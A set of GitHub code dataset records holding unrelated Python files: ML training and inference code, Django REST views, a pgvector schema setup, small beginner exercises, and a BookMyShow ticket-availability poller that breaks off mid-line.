'b', label='Training accuracy') \n plt.plot(range(1,n_epochs+1), acc_valid, 'r', label='Validation accuracy')\n plt.title(name_title)\n plt.savefig(savepath)\n print(\"Saved output as , \", savepath, flush=True)\nloss_train_avg = loss_train_avg/n_splits\nloss_valid_avg = loss_valid_avg/n_splits\nacc_train_avg = acc_train_avg/n_splits\nacc_valid_avg = acc_valid_avg/n_splits\nname_title=\"Average Training and Validation accuracy\"\nsavepath = homepath+\"/results/2023/Train/\"+restype+\"_\"+datatype+\"/\"+name_title+\".png\"\nplt.figure(figsize=(12, 8))\nplt.ylim(0,1.0)\nplt.plot(range(1,n_epochs+1), acc_train_avg, 'b', label='Training accuracy') \nplt.plot(range(1,n_epochs+1), acc_valid_avg, 'r', label='Validation accuracy')\nplt.title(name_title)\nplt.savefig(savepath)\nprint(\"Saved output as , \", savepath, flush=True)\nprint(\"##########################################################\", flush=True)\nprint(history, flush=True)\nprint(\"done\", flush=True)","repo_name":"DDDog-WANG/Epigenetic-profiling-SoRa","sub_path":"Classification/Scripts/ClassifyCNN_KFold.py","file_name":"ClassifyCNN_KFold.py","file_ext":"py","file_size_in_byte":9204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"20140553859","text":"import logging\nimport time\nimport os\n\nimport torch\nfrom tqdm import tqdm\n\nfrom mega_core.data.datasets.evaluation import evaluate\nfrom ..utils.comm import is_main_process, get_world_size\nfrom ..utils.comm import all_gather\nfrom ..utils.comm import synchronize\nfrom ..utils.timer import Timer, get_time_str\nfrom .bbox_aug import im_detect_bbox_aug\n\nfrom seq_nms import seq_nms\nfrom mega_core.structures.boxlist_ops import boxlist_nms\nfrom mega_core.structures.boxlist_ops import cat_boxlist\n\nimport torch.autograd.profiler as profiler\n\ndef compute_on_dataset(model, data_loader, device, bbox_aug, method, timer=None, do_seq_nms=None):\n model.eval()\n results_dict = {}\n cpu_device = torch.device(\"cpu\")\n for i, batch in enumerate(tqdm(data_loader)):\n images, targets, image_ids = batch\n with torch.no_grad():\n if timer:\n timer.tic()\n if bbox_aug:\n output = im_detect_bbox_aug(model, images, device)\n else:\n if method in (\"base\", ):\n images = images.to(device)\n elif method in (\"rdn\", \"mega\", \"dafa\", \"diffusion\", \"fgfa\", \"dff\"):\n images[\"cur\"] = images[\"cur\"].to(device)\n for key in (\"ref\", \"ref_l\", \"ref_m\", \"ref_g\"):\n if key in images.keys():\n images[key] = [img.to(device) for img in images[key]]\n else:\n raise ValueError(\"method {} not supported yet.\".format(method))\n '''\n with profiler.profile(record_shapes=True) as prof:\n with profiler.record_function(\"model_inference\"):\n output = model(images)\n print(prof.key_averages(group_by_input_shape=True).table(sort_by=\"cpu_time_total\", row_limit=20))\n '''\n output = model(images)\n '''\n while i < 10:\n prof.export_chrome_trace(\"trace_\" + str(i) + \".json\")\n '''\n if do_seq_nms:\n ### Codes are revised vesion of FGFA github\n ### https://github.com/msracver/Flow-Guided-Feature-Aggregation\n if images[\"frame_id\"] == images[\"seg_len\"]-1:\n all_boxes = model.roi_heads.box.post_processor.all_boxes\n num_classes = model.num_classes\n thresh_nms = model.roi_heads.box.post_processor.score_thresh\n video = [all_boxes[j][:] for j in range(1, num_classes)]\n dets_all = seq_nms(video)\n for cls_ind, dets_cls in enumerate(dets_all):\n for frame_ind, dets in enumerate(dets_cls):\n # boxlist_nms works with one class Boxlist\n # original nms() returns keeped index. MEGA's boxlist_nms() returns keeped boxlists\n keep, keep_box_idx = boxlist_nms(boxlist=dets, nms_thresh=thresh_nms) # nms(dets)\n #all_boxes[cls_ind + 1][frame_ind] = dets[keep, :]\n all_boxes[cls_ind + 1][frame_ind] = keep # call by ref\n if timer:\n if not device.type == 'cpu':\n torch.cuda.synchronize()\n timer.toc()\n if not do_seq_nms:\n output = [o.to(cpu_device) for o in output]\n if do_seq_nms:\n if images[\"frame_id\"] == 0:\n image_ids_list = [image_ids[0]]\n else:\n image_ids_list.append(image_ids[0])\n if images[\"frame_id\"] == images[\"seg_len\"]-1:\n # output contains list of Boxlists for each frames\n boxes_frame_wise = [cat_boxlist([boxes_one_cls[j] for boxes_one_cls in all_boxes[1:]])\n for j in range(images[\"seg_len\"])]\n output = boxes_frame_wise\n # if you use seq_nms, results_dict is updated collectively when a video ends.\n results_dict.update(\n {img_id: result for img_id, result in zip(image_ids_list, output)}\n )\n else:\n results_dict.update(\n {img_id: result for img_id, result in zip(image_ids[0], output)}\n )\n return results_dict\n\n\ndef _accumulate_predictions_from_multiple_gpus(predictions_per_gpu):\n all_predictions = all_gather(predictions_per_gpu)\n if not is_main_process():\n return\n # merge the list of dicts\n predictions = {}\n for p in all_predictions:\n predictions.update(p)\n # convert a dict where the key is the index in a list\n image_ids = list(sorted(predictions.keys()))\n if len(image_ids) != image_ids[-1] + 1:\n logger = logging.getLogger(\"mega_core.inference\")\n logger.warning(\n \"Number of images that were gathered from multiple processes is not \"\n \"a contiguous set. Some images might be missing from the evaluation\"\n )\n\n # convert to a list\n predictions = [predictions[i] for i in image_ids]\n return predictions\n\n\ndef inference(\n cfg,\n model,\n data_loader,\n dataset_name,\n iou_types=(\"bbox\",),\n motion_specific=False,\n box_only=False,\n bbox_aug=False,\n device=\"cuda\",\n expected_results=(),\n expected_results_sigma_tol=4,\n output_folder=None,\n):\n # convert to a torch.device for efficiency\n device = torch.device(device)\n num_devices = get_world_size()\n logger = logging.getLogger(\"mega_core.inference\")\n dataset = data_loader.dataset\n logger.info(\"Start evaluation on {} dataset({} images).\".format(dataset_name, len(dataset)))\n total_timer = Timer()\n inference_timer = Timer()\n total_timer.tic()\n predictions = compute_on_dataset(model, data_loader, device, bbox_aug, cfg.MODEL.VID.METHOD, inference_timer, cfg.TEST.SEQ_NMS)\n # wait for all processes to complete before measuring the time\n synchronize()\n total_time = total_timer.toc()\n total_time_str = get_time_str(total_time)\n logger.info(\n \"Total run time: {} ({} s / img per device, on {} devices)\".format(\n total_time_str, total_time * num_devices / len(dataset), num_devices\n )\n )\n total_infer_time = get_time_str(inference_timer.total_time)\n logger.info(\n \"Model inference time: {} ({} s / img per device, on {} devices)\".format(\n total_infer_time,\n inference_timer.total_time * num_devices / len(dataset),\n num_devices,\n )\n )\n\n predictions = _accumulate_predictions_from_multiple_gpus(predictions)\n if not is_main_process():\n return\n\n if output_folder and cfg.TEST.SEQ_NMS:\n torch.save(predictions, os.path.join(output_folder, \"predictions_seq_nms.pth\"))\n elif output_folder:\n torch.save(predictions, os.path.join(output_folder, \"predictions.pth\"))\n\n extra_args = dict(\n box_only=box_only,\n iou_types=iou_types,\n motion_specific=motion_specific,\n expected_results=expected_results,\n expected_results_sigma_tol=expected_results_sigma_tol,\n )\n\n return evaluate(dataset=dataset,\n predictions=predictions,\n output_folder=output_folder,\n **extra_args)\n\n\ndef inference_no_model(\n data_loader,\n iou_types=(\"bbox\",),\n motion_specific=False,\n box_only=False,\n expected_results=(),\n expected_results_sigma_tol=4,\n output_folder=None,\n):\n dataset = data_loader.dataset\n\n predictions = torch.load(os.path.join(output_folder, \"predictions.pth\"))\n print(\"prediction loaded.\")\n\n extra_args = dict(\n box_only=box_only,\n iou_types=iou_types,\n motion_specific=motion_specific,\n expected_results=expected_results,\n expected_results_sigma_tol=expected_results_sigma_tol,\n )\n\n return evaluate(dataset=dataset,\n predictions=predictions,\n output_folder=output_folder,\n **extra_args)\n","repo_name":"sdroh1027/DiffusionVID","sub_path":"mega_core/engine/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":8228,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"72"}
+{"seq_id":"72272487594","text":"x = int(input(\"Birinci Sayı: \"))\ny = int(input(\"İkinci Sayı: \"))\nz = int(input(\"Üçüncü Sayı Sayı: \"))\n\nenbuyuk = x\nenkucuk = x\n\nif y > enbuyuk:\n enbuyuk = y\n\nif z > enbuyuk:\n enbuyuk = z\n\nif enkucuk > y:\n enkucuk = y\n\nif enkucuk > z:\n enkucuk = z\n\n\nprint(\"En Büyük Değer: \"+str(enbuyuk))\nprint(\"En Küçük Değer: \"+str(enkucuk))\n","repo_name":"bugresearch/python-basic-projects","sub_path":"ikinci-hafta-ornekleri/ucdegersorgula.py","file_name":"ucdegersorgula.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"17392772472","text":"from django.shortcuts import render, get_object_or_404, get_list_or_404\nfrom django.db.models import Prefetch\nfrom musicapp.models import Artiste, Song, Lyric\nfrom .serializers import ArtisteSerializer, SongSerializer, LyricSerializer\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import action\nfrom rest_framework.views import APIView\nfrom rest_framework import permissions, status, generics, viewsets\n# Create your views here.\n\nclass SongViewSet(viewsets.ViewSet):\n\n def list(self, request):\n queryset = Song.objects.all()\n serial = SongSerializer(queryset, many=True)\n return Response(serial.data)\n\n def retrieve(self, request, pk=None):\n queryset = Song.objects.all()\n song = get_object_or_404(queryset, pk=pk)\n serial = SongSerializer(song)\n return Response(serial.data)\n\nclass ArtisteViewSet(viewsets.ViewSet):\n\n def list(self, request):\n queryset = Artiste.objects.all()\n serial = ArtisteSerializer(queryset, many=True)\n return Response(serial.data)\n\n def retrieve(self, request, pk=None):\n queryset = Artiste.objects.all()\n artiste = get_object_or_404(queryset, pk=pk)\n serial = ArtisteSerializer(artiste)\n return Response(serial.data)\n\nclass TryViews(viewsets.ModelViewSet):\n\n serializer_class = SongSerializer\n queryset = Song.objects.all()\n\n @action(detail=True, methods=['put'])\n def update_title(self, request, pk=None):\n song = self.get_object()\n serial = SongSerializer(data=request.data)\n if serial.is_valid():\n song.update_title(serial.validated_data['title'])\n song.save()\n return Response({'status': 'title updated'})\n else:\n return Response(serial.errors, status=status.HTTP_400_BAD_REQUEST)\n\n @action(detail=True, methods=['put'])\n def update_releasedate(self, request, pk=None):\n song = self.get_object()\n serial = SongSerializer(data=request.data)\n if serial.is_valid():\n #song.title(serial.validated_data['title'])\n song.update_releasedate(serial.validated_data['date_released'])\n song.save()\n return Response({'status': 'song details updated'})\n else:\n return Response(serial.errors, status=status.HTTP_400_BAD_REQUEST)\n\n @action(detail=True, methods=['delete'])\n def delete_song(self, request, pk=None):\n song = self.get_object()\n serial = SongSerializer(data=request.data)\n if serial.is_valid():\n song.delete()\n return Response({'status': 'song deleted'})\n else:\n return Response(serial.errors, status=status.HTTP_400_BAD_REQUEST)\n\n","repo_name":"SuccessAT/zurisongcrud","sub_path":"songcrud/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"34876648150","text":"import psycopg2\nfrom psycopg2.extras import RealDictCursor\nfrom pgvector.psycopg2 import register_vector\nfrom config import DB_HOST, DB_PORT\n\n\n\nconn = psycopg2.connect(host = DB_HOST,\n port = DB_PORT,\n database = \"semanticdb\",\n user = \"deeptech\",\n password = \"deeptech\",\n cursor_factory = RealDictCursor)\n\n\ndef postgres_table_schema(conn):\n cur = conn.cursor()\n cur.execute(\"CREATE EXTENSION IF NOT EXISTS vector\")\n register_vector(conn)\n \n cur.execute(\n \"\"\"DROP TABLE IF EXISTS doc_status;\n \"\"\"\n )\n conn.commit()\n \n cur.execute(\n \"\"\"\n CREATE TABLE IF NOT EXISTS doc_status (\n id bigserial PRIMARY KEY,\n doc_id VARCHAR(500) NOT NULL UNIQUE,\n url TEXT NOT NULL UNIQUE,\n status VARCHAR(50) NOT NULL\n );\n \"\"\"\n )\n \n conn.commit()\n \n cur.execute(\n \"\"\"\n CREATE TABLE IF NOT EXISTS document (\n id bigserial PRIMARY KEY,\n doc_id VARCHAR(100) NOT NULL,\n raw_contract TEXT NOT NULL,\n summary TEXT NOT NULL,\n metadata JSONB NOT NULL,\n keyword_vector tsvector GENERATED ALWAYS AS (\n to_tsvector('english', summary) || ' ' ||\n to_tsvector('english', metadata)\n ) STORED,\n summary_vector vector(1536) \n );\n \"\"\"\n )\n cur.execute(\"CREATE INDEX IF NOT EXISTS lexical_search ON document USING GIN(keyword_vector)\")\n conn.commit()","repo_name":"sarbol/llm_semantic_search_engine","sub_path":"base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"43891429854","text":"import torch\n\n\nclass GradientPenalty(torch.nn.Module):\n \"\"\"\n A module to compute the gradient penalty\n \"\"\"\n\n def forward(self, discr_interpolates: torch.Tensor,\n interpolates: torch.Tensor):\n \"\"\"\n Computes the gradient penalty\n Parameters\n ----------\n discr_interpolates : :class:`torch.Tensor`\n the discriminator's output for the :param:`interpolates`\n interpolates : :class:`torch.Tensor`\n randomly distorted images as input for the discriminator\n Returns\n -------\n :class:`torch.Tensor`\n a weighted gradient norm\n \"\"\"\n\n fake = torch.ones(interpolates.size(0), 1, device=interpolates.device,\n dtype=interpolates.dtype)\n\n gradients = torch.autograd.grad(\n outputs=discr_interpolates,\n inputs=interpolates,\n grad_outputs=fake,\n create_graph=True,\n retain_graph=True,\n only_inputs=True\n )[0]\n\n return ((gradients.norm(p=2, dim=1) - 1) ** 2).mean()\n","repo_name":"justusschock/dl-utils","sub_path":"dlutils/losses/gradient_penalty.py","file_name":"gradient_penalty.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"72"}
+{"seq_id":"41173386702","text":"class MinStack:\n\n def __init__(self):\n \"\"\"\n initialize your data structure here.\n \"\"\"\n self.l = []\n\n def push(self, x: int) -> None:\n self.l.append(x)\n # if not self.l:\n # self.l.append(x)\n # elif x < self.top():\n # self.l.append(x)\n # else:\n # if len(self.l) == 1:\n # self.l.insert(0, x)\n # else:\n # # for i in range(len(self.l)-2, -1, -1):\n # i = len(self.l)-2\n # while i > 0:\n # if x < self.l[i]:\n # self.l.insert(i, x)\n # break\n # i -= 1\n # if i == 0:\n # self.l.insert(i, x)\n\n\n def pop(self) -> None:\n if not self.l:\n raise ValueError\n elem = self.l[-1]\n self.l = self.l[:-1]\n return elem\n\n def top(self) -> int:\n if not self.l:\n raise ValueError\n return self.l[-1]\n\n def getMin(self) -> int:\n e_min = self.l[0]\n for i in self.l[1:]:\n if i < e_min:\n e_min = i\n return e_min\n\n\n# Your MinStack object will be instantiated and called as such:\nobj = MinStack()\nobj.push(-2)\nobj.push(0)\nobj.push(-3)\n# obj.push(0)\nparam_4 = obj.getMin()\n# param_3 = obj.top()\nobj.pop()\nparam_3 = obj.top()\nparam_2 = obj.getMin()\nprint(param_4)\nprint(param_3)\nprint(param_2)\n# print(obj.top())\n# param_4 = obj.getMin()\n# obj.pop()\n# param_4 = obj.getMin()\n# obj.pop()\n# param_4 = obj.getMin()\n# obj.pop()\n","repo_name":"MasKong/Algorithms","sub_path":"Min Stack.py","file_name":"Min Stack.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"4089907587","text":"class Animal:\n def __init__(self, name, weight):\n self.name = name\n self.weight = weight\n \n def __str__(self):\n return f\"{self.name} весит {self.weight}кг\"\n \n def feed(self):\n print(f\"{self.name} был накормлен\")\n pass\n\n def farm_job(self):\n print(f\"Для {self.name} нужна следующая процедура: \")\n\n# Птицы с яйцами\nclass Bird(Animal):\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n def farm_job(self):\n super().farm_job()\n print(\"Сбор яйц\")\n\n# Гусы\nclass Goose(Bird):\n voice = \"Голос гуся\"\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n# Курицы\nclass Chicken(Bird):\n voice = \"Голос Курицы\"\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n# Утки\nclass Duck(Bird):\n voice = \"Голос Утки\"\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n# Животные которых надо доить\nclass VivipariousWithMilk(Animal):\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n def farm_job(self):\n super().farm_job()\n print(\"Дойка\")\n\n# Коровы\nclass Cow(VivipariousWithMilk):\n voice = \"Голос Коровы\"\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n# Козы\nclass Goat(VivipariousWithMilk):\n voice = \"Голос Козы\"\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n# Овцы\nclass Sheep(Animal):\n voice = \"Голос Овцы\"\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n def farm_job(self):\n super().farm_job()\n print(\"Стричь\")\n\ngouss_01 = Goose(\"Серый\", 3.4)\ngouss_02 = Goose(\"Белый\", 4.1)\nkorova = Cow(\"Маньку\", 154.2)\novets_01 = Sheep(\"Барашек\", 84.4)\novets_02 = Sheep(\"Кудрявый\", 74.2)\nkouritssa_01 = Chicken(\"Ко-Ко\", 5.19)\nkouritssa_02 = Chicken(\"Кукареку\", 3.81)\nkoza_01 = Goat(\"Рога\", 44.61)\nkoza_02 = Goat(\"Копыта\", 53.15)\nutka = Duck(\"Кряква\", 3.8)\n\nanimals_list = [\n gouss_01,\n gouss_02,\n korova,\n ovets_01,\n ovets_02,\n kouritssa_01,\n kouritssa_02,\n koza_01,\n koza_02,\n utka\n ]\n\ntotal_weight = 0\nmax_weight = 0\nfor animal in animals_list:\n print(animal)\n animal.feed()\n print(animal.voice)\n animal.farm_job()\n print()\n\n total_weight += animal.weight\n\n if animal.weight > max_weight:\n max_weight = animal.weight\n boss = animal.name\n\nprint(f\"\"\"Oбщий вес всех животных: {total_weight}кг\nНазвание самого тяжелого животного: {boss} с весом {max_weight}кг\"\"\")\n\n","repo_name":"PyG4ng/class_and_variables","sub_path":"classHomework.py","file_name":"classHomework.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"41956009922","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\nfrom setuptools import setup, find_packages\n\n\ndef readme():\n with open('README.md') as f:\n return f.read()\n\n\ndef pip_requirements(filename='requirements.txt'):\n reqs = []\n with open('requirements.txt', 'r') as f:\n for line in f:\n if line.startswith('#'):\n continue\n if line:\n reqs.append(line)\n return reqs\n\n\nsetup(\n name = 'sccoos-sass-calibration',\n version = '0.0.1',\n description = 'Applies calibration coefficients to SCCOOS automated shore side instruments and writes out new files',\n long_description = readme(),\n url = 'https://git.axiom/axioim/sccoos-sass-calibration',\n packages = find_packages(),\n install_requires = pip_requirements(),\n test_requires = pip_requirements('dev-requirements.txt'),\n entry_points = {\n 'console_scripts': [\n ],\n },\n)","repo_name":"axiom-data-science/sccoos-sass-calibration","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"4786319001","text":"import logging\nimport math\nimport glob\nfrom random import randint\nimport os\n\nimport numpy as np\nimport pandas as pd\nfrom torch.utils.data import Dataset\nfrom tqdm import tqdm\n\nfrom trading.utils import get_logger\n\n\nclass MultivalueDateBinaryClassDataset(Dataset):\n \"\"\"\n Every item is a random chunk from a random financial\n product in a given folder.\n\n Each item contains N rows in this order:\n - financial_values: one row per col specified\n - year_values\n - month_values\n - day_values\n \"\"\"\n\n def __init__(self, cfg, split: str = \"train\",\n transform=None, target_transform=None):\n super(MultivalueDateBinaryClassDataset, self).__init__()\n\n self._cfg = cfg\n self.logger = logging.getLogger(__name__)\n\n self.financial_values = {name: [] for name in self._cfg.financial_values_cols}\n self.year_values = []\n self.month_values = []\n self.day_values = []\n self.financial_product_len = []\n for csv_file in tqdm(glob.glob(os.path.join(self._cfg.input_folder, \"*.csv\"))):\n self.logger.debug(f\"Reading {csv_file}\")\n forbidden_substr = set([\",,\"])\n with open(csv_file) as f, open(\"./tmp\", \"w\") as working: \n for line in f: \n if not self._should_remove_line(line, forbidden_substr): \n working.write(line)\n os.remove(csv_file)\n os.rename(\"./tmp\", csv_file)\n\n df = pd.read_csv(csv_file, sep=self._cfg.sep)\n df[self._cfg.datetime_col] = pd.to_datetime(\n df[self._cfg.datetime_col], format=\"%d-%m-%Y\"\n )\n if split == \"train\":\n first_validation_idx = math.ceil(\n len(df)*self._cfg.percentage_training *\n (1 - self._cfg.percentage_val_of_training)\n )\n df = df.iloc[:first_validation_idx]\n elif split == \"validation\":\n first_validation_idx = math.ceil(\n len(df)*self._cfg.percentage_training *\n (1 - self._cfg.percentage_val_of_training)\n )\n first_test_idx = math.ceil(len(df)*self._cfg.percentage_training)\n df = df.iloc[first_validation_idx:first_test_idx]\n elif split == \"test\":\n first_test_idx = math.ceil(len(df)*self._cfg.percentage_training)\n df = df.iloc[first_test_idx:]\n else:\n raise ValueError(f\"Split {split} not recognized\")\n financial_values, year_values, month_values, day_values = self._get_values(\n df\n )\n max_index = len(df) - \\\n (self._cfg.num_values_in + self._cfg.num_values_to_avg - 1)\n if max_index <= 0:\n continue\n for col in self._cfg.financial_values_cols:\n self.financial_values[col].append(financial_values[col])\n self.year_values.append(year_values)\n self.month_values.append(month_values)\n self.day_values.append(day_values)\n self.financial_product_len.append(len(df))\n self.logger.debug(\n f\"Financial values: {self.financial_values[self._cfg.target_col][len(self.financial_product_len) - 1]}\"\n )\n\n self.num_values_in = self._cfg.num_values_in\n self.num_values_to_avg = self._cfg.num_values_to_avg\n self.transform = transform\n self.target_transform = target_transform\n\n def __len__(self):\n return len(self.financial_product_len)\n\n def __getitem__(self, idx):\n \"\"\"\n The target is done taking the average of the next financial\n values of the column specified in target_col.\n \"\"\"\n start_pos = self._get_random_start_index(\n financial_product_len=self.financial_product_len[idx]\n )\n avg_next_stock_values = np.mean(\n self.financial_values[self._cfg.target_col][idx][\n start_pos + self.num_values_in:start_pos + self.num_values_in + self.num_values_to_avg\n ]\n )\n src_seq = np.array(\n [\n self.financial_values[col][idx][\n start_pos:start_pos + self.num_values_in\n ] for col in self._cfg.financial_values_cols\n ] + [\n self.year_values[idx][start_pos:start_pos + self.num_values_in],\n self.month_values[idx][start_pos:start_pos + self.num_values_in],\n self.day_values[idx][start_pos:start_pos + self.num_values_in]\n ]\n )\n label = np.array(\n 1.0 if avg_next_stock_values > self.financial_values[self._cfg.target_col][idx][start_pos + self.num_values_in - 1]\n else 0.0\n )\n if self.transform:\n src_seq = self.transform(src_seq)\n if self.target_transform:\n label = self.target_transform(label)\n return src_seq, label\n\n def _get_random_start_index(self, financial_product_len: int) -> int:\n max_index = financial_product_len - \\\n (self.num_values_in + self.num_values_to_avg - 1)\n return randint(0, max_index - 1)\n\n def _get_values(self, df: pd.DataFrame):\n financial_values = {} \n for col in self._cfg.financial_values_cols:\n financial_values[col] = np.asarray(df[col])\n year_values = np.asarray(df[self._cfg.datetime_col].dt.year)\n month_values = np.asarray(df[self._cfg.datetime_col].dt.month)\n day_values = np.asarray(df[self._cfg.datetime_col].dt.day)\n self.logger.debug(f\"Target col shape: {financial_values[self._cfg.target_col].shape}\")\n return financial_values, year_values, month_values, day_values\n\n def _should_remove_line(self, line: str, stop_words: list):\n return any([word in line for word in stop_words])\n","repo_name":"Dedalo314/Stock-prediction-using-transformers","sub_path":"src/trading/datasets/multivalue_date_binary_class_dataset.py","file_name":"multivalue_date_binary_class_dataset.py","file_ext":"py","file_size_in_byte":5927,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"1357833210","text":"from funcoes import *\n\nwhile True:\n menu_prin = menu_principal()\n if(menu_prin == 0): #FECHANDO O PROGRAMA\n print(\"Obrigada pela preferência!\")\n break\n elif(menu_prin == 1): #CADASTRANDO NOVO USUARIO\n print(\"=-\" * 17)\n cadastrar_vendedor()\n elif(menu_prin == 2): #FAZENDO LOGIN\n print(\"=-\" * 17)\n login = confere_login(0, '')\n if(login == False):\n continue\n else:\n cpf_logado = login\n while True:\n opcao = menu_vendedor()\n if(opcao == 0): #SAIR\n print(\"Estamos desconectando você. Obrigada pela preferência!\")\n break\n elif(opcao == 1): #CADASTRAR PRODUTO\n print(\"=-\" * 17)\n cadastrar_produto(cpf_logado)\n elif(opcao == 2): #REMOVER PRODUTO\n print(\"=-\" * 17)\n remover_produto(cpf_logado)\n elif(opcao == 3): #BUSCAR PRODUTO\n print(\"=-\" * 17)\n buscar_produto_vendedor(1, \"\", cpf_logado)\n elif(opcao == 4): #ATUALIZAR PRODUTO\n print(\"=-\" * 17)\n atualizar_produto(0, cpf_logado, '', '')\n elif(opcao == 5): #ATUALIZAR SENHA\n print(\"=-\" * 17)\n atualizar_senha(cpf_logado)\n elif(menu_prin == 3):\n if(len(lista) <= 0):\n print(\"Pedimos perdão pelo inconveniente, mas nenhuma loja foi cadastrada ainda. \"\n \"Por favor, volte em outro momento.\")\n else:\n while True:\n escolha = menu_cliente()\n if(escolha == 0):\n print(\"Obrigada pela preferência!\")\n break\n elif(escolha == 1):\n busca_cliente()\n elif(escolha == 2):\n if(mostrar_carrinho() == 1):\n print(\"Obrigada pela preferência!\")\n break\n else:\n continue\n elif(escolha == 3):\n consultarchatgpt()","repo_name":"JillianDreemur/projetocdc","sub_path":"projeto.py","file_name":"projeto.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"33855833406","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 1 23:29:18 2023\n\n@author: senlin\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.init as init\nfrom torch.autograd import Variable\n\n\nclass ConvEncoder(nn.Module):\n def __init__(self, output_dim):\n super(ConvEncoder, self).__init__()\n self.output_dim = output_dim\n\n self.encoder = nn.Sequential(\n nn.Conv2d(1, 32, 4, 2, 1), # B, 16 x 16\n nn.ReLU(True),\n nn.Conv2d(32, 32, 4, 2, 1), # 8 x 8 \n nn.ReLU(True),\n nn.Conv2d(32, 64, 4, 2, 1), # 4 x 4 \n nn.ReLU(True),\n nn.Conv2d(64, 64, 4, 2, 1), #2 x 2\n nn.ReLU(True),\n nn.Conv2d(64, 512, 2), # 1 x 1\n nn.Conv2d(512, output_dim, 1), # B, z_dim*n parameter\n )\n\n def forward(self, x):\n h = x.view(-1, 1, 32, 32)\n z = self.encoder(h).view(x.size(0), self.output_dim)\n return z\n \n\nclass ConvDecoder(nn.Module):\n def __init__(self, input_dim):\n super(ConvDecoder, self).__init__()\n\n self.decoder = nn.Sequential(\n nn.ConvTranspose2d(input_dim, 512, 1, 1, 0), # 1 x 1 \n nn.ReLU(True),\n nn.ConvTranspose2d(512, 64, 4, 1, 0), # 4 x 4\n nn.ReLU(True),\n nn.ConvTranspose2d(64, 64, 4, 2, 1), # 8 x 8 \n nn.ReLU(True),\n nn.ConvTranspose2d(64, 32, 4, 2, 1), # 16 x 16 \n nn.ReLU(True),\n nn.ConvTranspose2d(32, 1, 4, 2, 1), \n )\n\n def forward(self, z):\n h = z.view(z.size(0), z.size(1), 1, 1)\n mu_img = self.decoder(h)\n return mu_img","repo_name":"LittleMonsterSen/Online_changepoint_detection_in_dynamic_system","sub_path":"TCVAE/CNNlayer.py","file_name":"CNNlayer.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"40817201194","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom time import localtime, sleep\nimport winsound\nimport difflib\nimport re\n\nfrom requests.api import get\n\n# movie_name = \"SpiderMan No Way home\"\n# location = \"Mumbai\"\n# date = \"16/12/2021\" # DD/MM/YYYY\n# movie_code = \"ET00319080\" # Can be obtained from bookmyshow\n# cinema_type = \"Carnival\"\n\ncodes = {\n \"mumbai\": \"mumbai\",\n \"national-capital-region-ncr\": \"ncr\",\n \"bengaluru\": \"bang\",\n \"hyderabad\": \"hyd\",\n \"chandigarh\": \"chd\",\n \"pune\": \"pune\",\n \"chennai\": \"chen\",\n \"kolkata\": \"kolk\",\n \"kochi\": \"koch\"\n}\n\n\ndef main(movie_name, location, date, cinema_type):\n base_url = \"https://in.bookmyshow.com\"\n headers = {\"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36\"}\n \n date_formatted = \"\".join(date.split(\"/\")[::-1])\n mov_name_formatted = \"-\".join(movie_name.lower().split())\n movie_code = get_movie_code(base_url, location, mov_name_formatted)\n while not movie_code:\n movie_code = get_movie_code(base_url, location, mov_name_formatted)\n\n location_code = codes[location.lower()]\n url = base_url + f\"/buytickets/{mov_name_formatted}-{location.lower()}/movie-{location_code}-{movie_code}-MT/{date_formatted}\"\n \n it = 0\n while True:\n it += 1\n r = requests.get(url, headers=headers)\n # print(url, r.url)\n if r.url == url:\n freq = 100\n dur = 50\n for i in range(0, 20):\n winsound.Beep(freq, dur)\n freq += 100\n dur += 50\n soup = BeautifulSoup(r.content, \"html.parser\")\n venue_list = soup.find(\"ul\", {\"id\": \"venuelist\"}).find_all(\"li\")\n\n translator = str.maketrans({chr(10): '', chr(9): ''})\n # name.translate(translator)\n\n for venue in venue_list:\n venue_name = venue.text.translate(translator)\n if venue_name.split()[0].rstrip(\":\").lower() == cinema_type.lower():\n print(base_url + venue.find(\"a\", {\"class\": \"__venue-name\"})[\"href\"])\n return\n print(\"Iteration\", it)\n sleep(15)\n\n\ndef find_code(url, res, mov_name_formatted):\n r = requests.get(url)\n soup = BeautifulSoup(r.content, 